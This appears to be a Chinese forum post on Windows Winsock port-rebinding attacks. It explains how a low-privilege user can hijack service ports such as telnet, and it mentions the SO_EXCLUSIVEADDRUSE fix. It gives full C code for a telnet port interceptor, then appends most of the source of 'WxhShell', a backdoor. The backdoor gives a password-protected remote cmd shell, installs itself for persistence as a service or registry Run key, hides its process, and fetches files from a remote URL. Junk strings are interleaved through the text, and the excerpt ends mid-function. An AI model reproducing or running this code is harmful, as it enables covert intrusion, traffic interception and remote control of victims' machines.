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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %?PFe} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tWIJ,_8l PT6]qS'1 saddr.sin_family = AF_INET; n^T,R .N
qXdari saddr.sin_addr.s_addr = htonl(INADDR_ANY); @GFB{ ;= (\{k-2t*^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R^*baiXVI "G K9Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A<X?1$ h0rPMd(K 这意味着什么?意味着可以进行如下的攻击: c[,h|~K/_? rKrHd 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Zj_2>A c;$4}U4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FzJ7 OE| _VKI@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A#=TR_@: hL&$` Q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-BSdrP| 'k X8}bx 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :u14_^ 3T2]V? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QJVbt Wb-C0^dTn 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X/,)KTo7 -!j6& #include vQljxRtW #include nF,F#V8l #include gw]%:
WeH #include V\;Xa0 DWORD WINAPI ClientThread(LPVOID lpParam); r=H?fTY<3E int main() f"ndLX:'} { 4o*i(W WORD wVersionRequested; !ZYPz}&N_ DWORD ret; B.q/}\
?( WSADATA wsaData; y7,I10:D BOOL val; SiLW[JXd SOCKADDR_IN saddr; )L:zr# SOCKADDR_IN scaddr; ^+_rv int err; s@F&N9oh SOCKET s; v'W{+>. SOCKET sc; uuC ["Z int caddsize; X-c|jn7 HANDLE mt; vd%g'fTy9 DWORD tid; ^65I,Z" wVersionRequested = MAKEWORD( 2, 2 ); : ky`)F` err = WSAStartup( wVersionRequested, &wsaData ); %QezC+n if ( err != 0 ) { q[&Kr+)j printf("error!WSAStartup failed!\n"); +>Wo:kp3 return -1; TN(Vzs% } ZL(
j5E saddr.sin_family = AF_INET; u m9yO'[C Jo5B mh0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ldA_mj{ Z0,jg)sA4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uX_H;,n saddr.sin_port = htons(23); XO+BZB`F if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,Z
q:na { \SWTP1 printf("error!socket failed!\n"); F9fLJol return -1; ^A$=6=CX } !HY^QK val = TRUE; 4p:d#,?r //SO_REUSEADDR选项就是可以实现端口重绑定的 1'~Xn
4
f if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uo#1^`P { ${f<} printf("error!setsockopt failed!\n"); h `Lr5)B' return -1; Ykxk`SJ } GX>8B:]o| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6"&cQ>$xh //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Tagf7tw4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /ZvP.VW& &<A,\M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1G>Ud6(3< { dGUP|O ret=GetLastError(); [:8\F#KW printf("error!bind failed!\n"); Q:A#4Z return -1; r,6~%T0 } )w7vE\n3 listen(s,2); IW~R{ ]6 while(1) n7[nl43 { `Fd
\dn caddsize = sizeof(scaddr); CTIS}_CWd= //接受连接请求
^^a6 (b sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ) /raTD if(sc!=INVALID_SOCKET) w1/QnV { tOIqX0dWd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B2;P%B if(mt==NULL) wvv+~K9jq { 7^gO>2~ printf("Thread Creat Failed!\n"); UG2+Y'] break; \|PiQy*_? } "Z.6@
c7 } JRl=j2z CloseHandle(mt); `<7\Zl } !0;AFv`\ closesocket(s); m{IlRf' WSACleanup(); R{g=
N%O return 0; <.h7xZ } |Z:yd}d DWORD WINAPI ClientThread(LPVOID lpParam) s)-An(Uw { DyC*nE; SOCKET ss = (SOCKET)lpParam; 5CI{&E SOCKET sc; K[T0);hZR unsigned char buf[4096]; Ip
t;NlR SOCKADDR_IN saddr; ,=)DykP long num; )!8qJQD DWORD val; 9g6$"',H DWORD ret; 2yfU]`qN //如果是隐藏端口应用的话,可以在此处加一些判断 /~,*DH$) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 FLmD?nw saddr.sin_family = AF_INET; [jgVN w""D saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ed=/w6< saddr.sin_port = htons(23); a%%7Ew ? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tA(oD4H9 { '\bokwsP printf("error!socket failed!\n"); E@ea?Sx return -1; ZF>:m> } c=v016r\ val = 100; Oo|JIr7i if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >CvhTrPI { 8m0*89HEu ret = GetLastError(); f ,e]jw@ return -1; =M1}HF,7>l } utck{]P if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GCl
*x: { 6,q0F*q ret = GetLastError(); tddwnpnSw return -1; %R GZu\p } ,!Wo6{' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .$\-{) { %bw+>:Tr printf("error!socket connect failed!\n"); d(^8#4
closesocket(sc); "](Q2 closesocket(ss); l%+ &V^: return -1; /
&Z8g4vc } uO4
LD}A while(1) ?s, oH { .>W [ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lJ3VMYVrUP //如果是嗅探内容的话,可以再此处进行内容分析和记录 xd{.\!q. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4q.;\n num = recv(ss,buf,4096,0); d>[i*u,]/ if(num>0) )f3A\^ send(sc,buf,num,0); #?)6^uTW else if(num==0) x<I[?GT= break; B
W*8 num = recv(sc,buf,4096,0); }[leUYi` if(num>0) e6p3!)@P1 send(ss,buf,num,0); b@J "b( else if(num==0) J* !_O# break; )2c]Z| } ;?u cC@ closesocket(ss); U-DQ?OtmC@ closesocket(sc); D2VYw<tEA return 0 ; kk5&lak2V } e/hCYoS1n <,$*(dX)( oI#TjF ========================================================== T^!Q(`* 7=G6ao7 下边附上一个代码,,WXhSHELL z#G\D5yX[* 2|7:`e~h ========================================================== -`8@ c)
Eu(j\# #include "stdafx.h" MR|A_e^x qJF'KHyU{l #include <stdio.h> vRtERFL #include <string.h> ^0"^ #include <windows.h> iZk4KX #include <winsock2.h> ^6# yL6E,~ #include <winsvc.h> [? "hmSJ #include <urlmon.h> G\tN(%.f hpQ #`rhn #pragma comment (lib, "Ws2_32.lib") gGE{r}$ #pragma comment (lib, "urlmon.lib") Z42q}Fhm*R i-w<5pGnf #define MAX_USER 100 // 最大客户端连接数 CnuM=S: #define BUF_SOCK 200 // sock buffer ]*]*O|w #define KEY_BUFF 255 // 输入 buffer ()j)}F#Z` ?1g`'q@T% #define REBOOT 0 // 重启 Y->sJm #define SHUTDOWN 1 // 关机 (]sm9PO G8]{pbX #define DEF_PORT 5000 // 监听端口 AHr^G' sRLjKi2D #define REG_LEN 16 // 注册表键长度 4 dHGU^#WZ #define SVC_LEN 80 // NT服务名长度 \_u{ EB'b l9/}fMi // 从dll定义API JK,^:tgm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #k<l5x` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o1 27? ^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8aQTm-{m typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p-"wY?q
k~;~i)Eg // wxhshell配置信息 qm#?DSLap struct WSCFG { |
#a{1Z) int ws_port; // 监听端口 <NDV 5P char ws_passstr[REG_LEN]; // 口令 ?!F<xi: int ws_autoins; // 安装标记, 1=yes 0=no !1S!)# char ws_regname[REG_LEN]; // 注册表键名 *fd:(dN| char ws_svcname[REG_LEN]; // 服务名 n9
bp0#K char ws_svcdisp[SVC_LEN]; // 服务显示名 S&=@Hj- char ws_svcdesc[SVC_LEN]; // 服务描述信息 LDw.2E
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I_Z?'M int ws_downexe; // 下载执行标记, 1=yes 0=no k^JgCC+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Gn6\n'r0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q~18JB4WPJ ZJ)>gV }; 6t<[- 8>|4iT // default Wxhshell configuration =.J>'9 Q struct WSCFG wscfg={DEF_PORT, _;BNWH "xuhuanlingzhe", 1h162 1, f[`&3+ "Wxhshell", %;_EWs/z8 "Wxhshell", W }Ll)7(|T "WxhShell Service", $D^27q:H "Wrsky Windows CmdShell Service", }!*|VdL0 "Please Input Your Password: ", d]_].D$ 1, lZ"C~B}9:I " http://www.wrsky.com/wxhshell.exe", V#4ox km "Wxhshell.exe" p&xj7qwp@F }; pxbuZ9w2Q 1)xj 'n // 消息定义模块 <|3F('Q" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HA$7Q~{N-t char *msg_ws_prompt="\n\r? for help\n\r#>"; DDT]A<WUV char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 4;jAdWj3 char *msg_ws_ext="\n\rExit."; %0u5d$b q char *msg_ws_end="\n\rQuit."; /lHs]) , char *msg_ws_boot="\n\rReboot..."; <X5V]f char *msg_ws_poff="\n\rShutdown..."; fA V.Mj- char *msg_ws_down="\n\rSave to "; q` |E9 {poTA+i char *msg_ws_err="\n\rErr!"; 1?TgI0HS char *msg_ws_ok="\n\rOK!"; L]X Lv9J0 *=%`f= char ExeFile[MAX_PATH]; VzM (u_) int nUser = 0; ldKLTO*& HANDLE handles[MAX_USER]; |jWA >S int OsIsNt; vXSpn71Jb @71y:)W< SERVICE_STATUS serviceStatus; 93.L887
SERVICE_STATUS_HANDLE hServiceStatusHandle; : T4ap_Ycq lP(<4mdP // 函数声明 xnZ int Install(void); b3=XWzK5 int Uninstall(void); U|+`Eth8( int DownloadFile(char *sURL, SOCKET wsh); naY#`xig int Boot(int flag); dKPx3Y' void HideProc(void); mL@7,GD int GetOsVer(void); qm=9!jqC; int Wxhshell(SOCKET wsl); ,+5!1>\ void TalkWithClient(void *cs); (/P-9<"U int CmdShell(SOCKET sock); gF M~M( int StartFromService(void); &9n=!S'Md int StartWxhshell(LPSTR lpCmdLine); T !pHT'J 1(VskFtZF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =*WfS^O VOID WINAPI NTServiceHandler( DWORD fdwControl ); Je#3 rqM_#[Y? // 数据结构和表定义 @^Kw\s SERVICE_TABLE_ENTRY DispatchTable[] = - :x6X$= { mndNkK5o {wscfg.ws_svcname, NTServiceMain}, ?l
0WuU {NULL, NULL} ;p(Doy)i }; jdD`C`w|, %G] W Oq=q // 自我安装 1i|5ii*vc int Install(void) a3_pF~Qx { e5sQl1 char svExeFile[MAX_PATH]; 04E#d.o' HKEY key; 8rjiW# strcpy(svExeFile,ExeFile); ,xC@@>f \//{\d // 如果是win9x系统,修改注册表设为自启动 9\R+g5 if(!OsIsNt) { PkdL] !: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5lm>~J!/^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bO gVCg RegCloseKey(key); ){i
9,u") if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n\4sNoFI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vQ
DlS1L RegCloseKey(key); #Ic-?2Gn4< return 0; yKOC1( ~ } meyO=> } v1s0kdR,> } 4"%LgV`
else { A!`Q[%$ !JwR[X\f // 如果是NT以上系统,安装为系统服务 K!SFS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {c AGOx wd if (schSCManager!=0) \w@ "`!% { glRHn?p SC_HANDLE schService = CreateService J?bx<$C@ ( xAAwH@ + schSCManager, hdH}4W wscfg.ws_svcname, vHx[:vuq: wscfg.ws_svcdisp, e:RgCDWL SERVICE_ALL_ACCESS, q{+Pf/M5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 10e~Yc SERVICE_AUTO_START, um1xSf1Xv SERVICE_ERROR_NORMAL, zM|Y
X< svExeFile, i~EFRI@ NULL, _{YUWV50} NULL, kTs.ps8ei NULL, :^992]EBEj NULL, 'C<4{agS NULL xU;;@9X ); &X
OFc.u if (schService!=0) ]F*fQNcjy { @
M CloseServiceHandle(schService); @ZGD'+zd? CloseServiceHandle(schSCManager); W 33MYw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rl](0"Y0
t strcat(svExeFile,wscfg.ws_svcname); p;9"0rj,z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5Z*6,P0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h7F5-~SpD RegCloseKey(key); zqa7!ky return 0; 5?1:RE(1 } jk fc=O6^ } X_2pC|C CloseServiceHandle(schSCManager); <e@+w6Kp'7 } ])NQzgS } tkKiuh?m MI\35~JAN return 1; o==:e } x3Ze\N8w wOs t). // 自我卸载 6$A>%Jtwe int Uninstall(void) Av_JcH { 8zzY;3^h; HKEY key; ![j?/376 ;HoBLxb P
if(!OsIsNt) { 6#(==}Sm+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <3C/t|s RegDeleteValue(key,wscfg.ws_regname); mL]a_S{H RegCloseKey(key); Dg
o-Os@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2nkymEPu
RegDeleteValue(key,wscfg.ws_regname); 3
G_0DS RegCloseKey(key); ,v$Q:n| return 0; P:&X1MC } fv/Nf" } SZ(]su: } rc`}QoB)R else { U;#9^<^ H?_>wQj& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2R];Pv if (schSCManager!=0) }ej>uZVe< { chA7R'+LA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F_F02:t if (schService!=0) VMIX=gTZ { O QGKH6q if(DeleteService(schService)!=0) { +o-jMvK9 CloseServiceHandle(schService); @A'@%Zv- CloseServiceHandle(schSCManager); w;;9YFBdM return 0; 1Y'NG<d_ } {ep(_1 CloseServiceHandle(schService); )9i$ 1"a( } }\0ei(%H CloseServiceHandle(schSCManager); ohna1a^ } ACOn}yH } 5Deo}(3 LR#BP}\b' return 1; ]Bj2; <@y } yQ0:M/r;0 #f<3[BLx // 从指定url下载文件
s>*xAIx
int DownloadFile(char *sURL, SOCKET wsh) |p.|zH { @2g
<d HRESULT hr; 5Mz:$5Tm char seps[]= "/"; @ Fkhida char *token; !|\l* char *file; F:N8{puq5 char myURL[MAX_PATH]; 7@
\:l~{ char myFILE[MAX_PATH]; #/B g5: C),i#v strcpy(myURL,sURL); -}_1f[b token=strtok(myURL,seps); slzB# while(token!=NULL) y*%uGG5 { LUdXAi"f file=token; >L')0<!& token=strtok(NULL,seps); |j~l%d*<w } }O Y/0p-Z 0X3yfrim GetCurrentDirectory(MAX_PATH,myFILE); &`oybm-p( strcat(myFILE, "\\"); ~7anj. strcat(myFILE, file); +PS
jBO4! send(wsh,myFILE,strlen(myFILE),0); 7=%Oev&0g- send(wsh,"...",3,0); .,20_<j%= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "}V_.I*+ if(hr==S_OK) flT6y-d return 0; V';l H2 else Z&O6<=bg! return 1; A=3L_
#nO SA7(EJ95 } l0C`teO
VD<z]@ // 系统电源模块 hH HQmK<r
int Boot(int flag) 7Ja*T@ ! h { bF6J>&]! HANDLE hToken; J#t-."f6^ TOKEN_PRIVILEGES tkp; )U=]HpuzI ^qnmKA>"F if(OsIsNt) { AgZ?Ry OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /ywP
0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ()48> || tkp.PrivilegeCount = 1; JQ6M,O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X8">DR&>Y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J>5 rkR@/ if(flag==REBOOT) { xJ2I@*DN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %IZd-N7i^ return 0; k%FA:ms|k } - Z`RKR8C else { 9!
/kyyU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B0%=! & return 0; P:t .Nr" } Zskj?+1 } +D:8r|evH else { nQoQNB if(flag==REBOOT) { xhOoZ- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |/vJ+aKq return 0; w7o`BR } vj]>X4'i else { a5GLbanF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4A6Yl6\Y return 0; tKeTHj;jO } "J`&"_CyZ } 0'fswa) 0=#>w_B return 1; tw>2<zmSi% } ]Ob|!L( &8z<~q // win9x进程隐藏模块 4a"Fu<q void HideProc(void) 6:O<k2=2 { ANy*'/f Ph1XI&us9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =I'3C']Z W if ( hKernel != NULL ) L_NiU;cr% { &J*M pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <ZF|2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1(Ta*"(0Ip FreeLibrary(hKernel); k(l2`I4V } sfj+-se(K. /}(d'@8p return; "(^XZAU#W } `x#Ud)g eZLEdTScM // 获取操作系统版本 AQlB_@ b int GetOsVer(void) %, kP_[!>Q { {P]C> OSVERSIONINFO winfo; ~lys winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zKO7`.* GetVersionEx(&winfo); Z[oEW>_A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o@Oz
a return 1; CwA_jOp else DAB9-[y+ return 0; (~=.[Y } ]
3"t]U'f z%%O-1 // 客户端句柄模块 <Ep L<K% int Wxhshell(SOCKET wsl) hfaU-IPcFX { d,b4q&^X8 SOCKET wsh; * x/!i^ struct sockaddr_in client; D(#f`Fj; DWORD myID; N1c=cZDV 2J ZR"P while(nUser<MAX_USER) (+>
2&@@< { YAr6cl int nSize=sizeof(client); d;Vy59}eY wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9=%zd z2_S if(wsh==INVALID_SOCKET) return 1; |h>PUt@LL cz>,sz~i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AK2Gm-hHK if(handles[nUser]==0) oJz2-PmX closesocket(wsh); `Y#At3{ else 9-KhJq% nUser++; Oj5UG* } FzT.9Vz7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EKwQ$?I `>g G"1,] return 0; LVj1NP } $MQ}+*Wr #z*,CU#S9d // 关闭 socket 1-KNXGb' void CloseIt(SOCKET wsh) tIsWPt]Y { ~VGnE: closesocket(wsh); zUfq. nUser--; =3e7n2N) ExitThread(0); ,XD"
p1(|G } ^SdF\uk{?6 'wND // 客户端请求句柄 l!mbpFt void TalkWithClient(void *cs) Ys"wG B> { )g0lI 6>>; fy2 SOCKET wsh=(SOCKET)cs; CRb8WD6. char pwd[SVC_LEN]; e~o!Qm char cmd[KEY_BUFF]; WRh5v8Wz0 char chr[1]; q2qi~}l int i,j; LW %AZkAx D'"
T'@ while (nUser < MAX_USER) { {i5?R,a) oxwbq=a6yV if(wscfg.ws_passstr) { 1Ms[$$b$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 067c/c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d+9V% T //ZeroMemory(pwd,KEY_BUFF); +#}GmUwPG$ i=0; =
tv70d' while(i<SVC_LEN) { ~6[?=mOi' S$6|KY u // 设置超时 0Y.z fd_set FdRead; 44]s`QyG struct timeval TimeOut; *FS8]!Qg FD_ZERO(&FdRead); 615Ya<3f8 FD_SET(wsh,&FdRead); *Rgr4-eS TimeOut.tv_sec=8; wj)LOA0 TimeOut.tv_usec=0; &qv~)ZM$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %pC<T*f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #NS|9jW =C"[o\]VV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i2F7O"f. pwd =chr[0]; qt"D!S_ if(chr[0]==0xd || chr[0]==0xa) { ({f}Z-% pwd=0; E)"19l|}B break; YagfCi ? } <Xf6?nyZ( i++; nL@'??I1 } xL}i9ozZ cc@W
6W // 如果是非法用户,关闭 socket LUOjaX if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <r%K i`u(p } ]a $6QS vygzL U^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d?,'$$ aB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7v: XAU "<,lqIqA; while(1) { ~q$]iwwqT Y(Q
0m|3P ZeroMemory(cmd,KEY_BUFF); Hon2;-:]{] *"%TAe7?~+ // 自动支持客户端 telnet标准 6h 0qtXn- j=0; uP~,]ci7 while(j<KEY_BUFF) { Kv_2=]H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sj+H{xJi cmd[j]=chr[0]; TI>5g(:3\ if(chr[0]==0xa || chr[0]==0xd) { ,jU>V]YC cmd[j]=0; KVi6vdgD break; ^q7V%{54 } m`yvZ4K! j++; oD)x\ )t8 } UXm_-/&b9 ;6tra_ // 下载文件 ]OAU&t{ if(strstr(cmd,"http://")) { -&+:7t send(wsh,msg_ws_down,strlen(msg_ws_down),0); H.5
6 if(DownloadFile(cmd,wsh)) iZGbNN send(wsh,msg_ws_err,strlen(msg_ws_err),0); sh/,"b2!P else \GFqRRn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LdUz;sb } HqGI. else { D8A+`W? pdu1 kL switch(cmd[0]) { ;-d b/$O inu.U[. // 帮助 7@ym:6Y+] case '?': { l@`k:? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "4b{YWv break; ;,y_^-h; } 5Tsz|k // 安装 1[P}D~ nQ case 'i': { " ityx? if(Install()) g#S
X$k-O send(wsh,msg_ws_err,strlen(msg_ws_err),0); kQ\GVI11? else ;>,B(Xz4i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :ez76oGyc break; +3,7 Apj } Z$z-Hx@% // 卸载 b9g2mWL\T case 'r': { #X(2 if(Uninstall()) Fe8X@63 send(wsh,msg_ws_err,strlen(msg_ws_err),0); VL#:oyWA else M$x,B#b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &A:&2sP8 break; yQJ0",w3o. } P@y)K!{Nk // 显示 wxhshell 所在路径 Y3@+aA case 'p': { C(>!?-. char svExeFile[MAX_PATH]; =Jp:dM* strcpy(svExeFile,"\n\r"); 0f4 y"9m strcat(svExeFile,ExeFile); 5;`Ot2 send(wsh,svExeFile,strlen(svExeFile),0); W@"Rdc- break; RHsVG &<j } =CzGI|pb // 重启 F=\
REq case 'b': { `;mgJD send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m mF0RNE if(Boot(REBOOT))
(N/u@ M send(wsh,msg_ws_err,strlen(msg_ws_err),0); o0Teect= else {
II'.vp closesocket(wsh); mJ%^`mrI ExitThread(0); 7\@c1e*e
} >p&"X 2
@ break; <gPM/4$G } vhZXgp0X // 关机 rDl/R^w" case 'd': { +B{u,xgg send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "Lvk?k
)hx if(Boot(SHUTDOWN)) auI`'O`/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); zE;|MU@| else { dPO"8HQ closesocket(wsh); (jKqwVs.: ExitThread(0); ^aqQw u } gpq ,rOIK break; n)N!6u } 1<:5b%^c // 获取shell JbEEI(Q>g case 's': { X$<pt,}% CmdShell(wsh); aj|3(2;Kp closesocket(wsh); @l3&vt2=J ExitThread(0); FOD'&Yb& break; lP=,|xFra } ;nl JD# // 退出 HFB>0<$ case 'x': { F=&,=r'Q8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |>P:R4P CloseIt(wsh); sc t3|H# break; 75>%!mhM } qo:Zc`t(R // 离开 EFiVwH case 'q': { xTk6q*NvT^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); /.s
L[X-G closesocket(wsh); S%H"i
y WSACleanup(); C!_=L?QT^ exit(1); mR2"dq;U break; YS4"TOFw } =f@71D1 } J_a2DM6d } Obu 6k[BE. ;7[DFlS\P // 提示信息 l _2Xao$ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
wBlE!Pm } "z6p=B"?3 } {%6
'|<`[ +dCR$<e9r return; Nnn~7 } D,$M$f1 TN Z-0 // shell模块句柄 pVl7]_=m int CmdShell(SOCKET sock) p%Q{Rqc) { EWl9rF@I STARTUPINFO si; 5T"h7^}e ZeroMemory(&si,sizeof(si)); }.u[';q]S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '?90e4x3/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I+Y Z+ PROCESS_INFORMATION ProcessInfo; /=V!lRs char cmdline[]="cmd"; <`q-#-V@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]}S9KP return 0; , iEGf-!k } P;7[5HFF %U<lS.i // 自身启动模式 *?Oh%.HgF int StartFromService(void) A\"4[PXpQ { ?(khoL t typedef struct 3]NKAPY { ~hP]<$v DWORD ExitStatus; >7?Lq<H DWORD PebBaseAddress; eMOp}.zt| DWORD AffinityMask; eZL!Z! DWORD BasePriority; rIyIZWkI ULONG UniqueProcessId; /w5c:BH ULONG InheritedFromUniqueProcessId; Qm[ ) [M } PROCESS_BASIC_INFORMATION; q@mZ0D- C-:|A* z PROCNTQSIP NtQueryInformationProcess; C:!&g~{cKi ()Img.TIt static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }PMlG static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <0/)v
J-
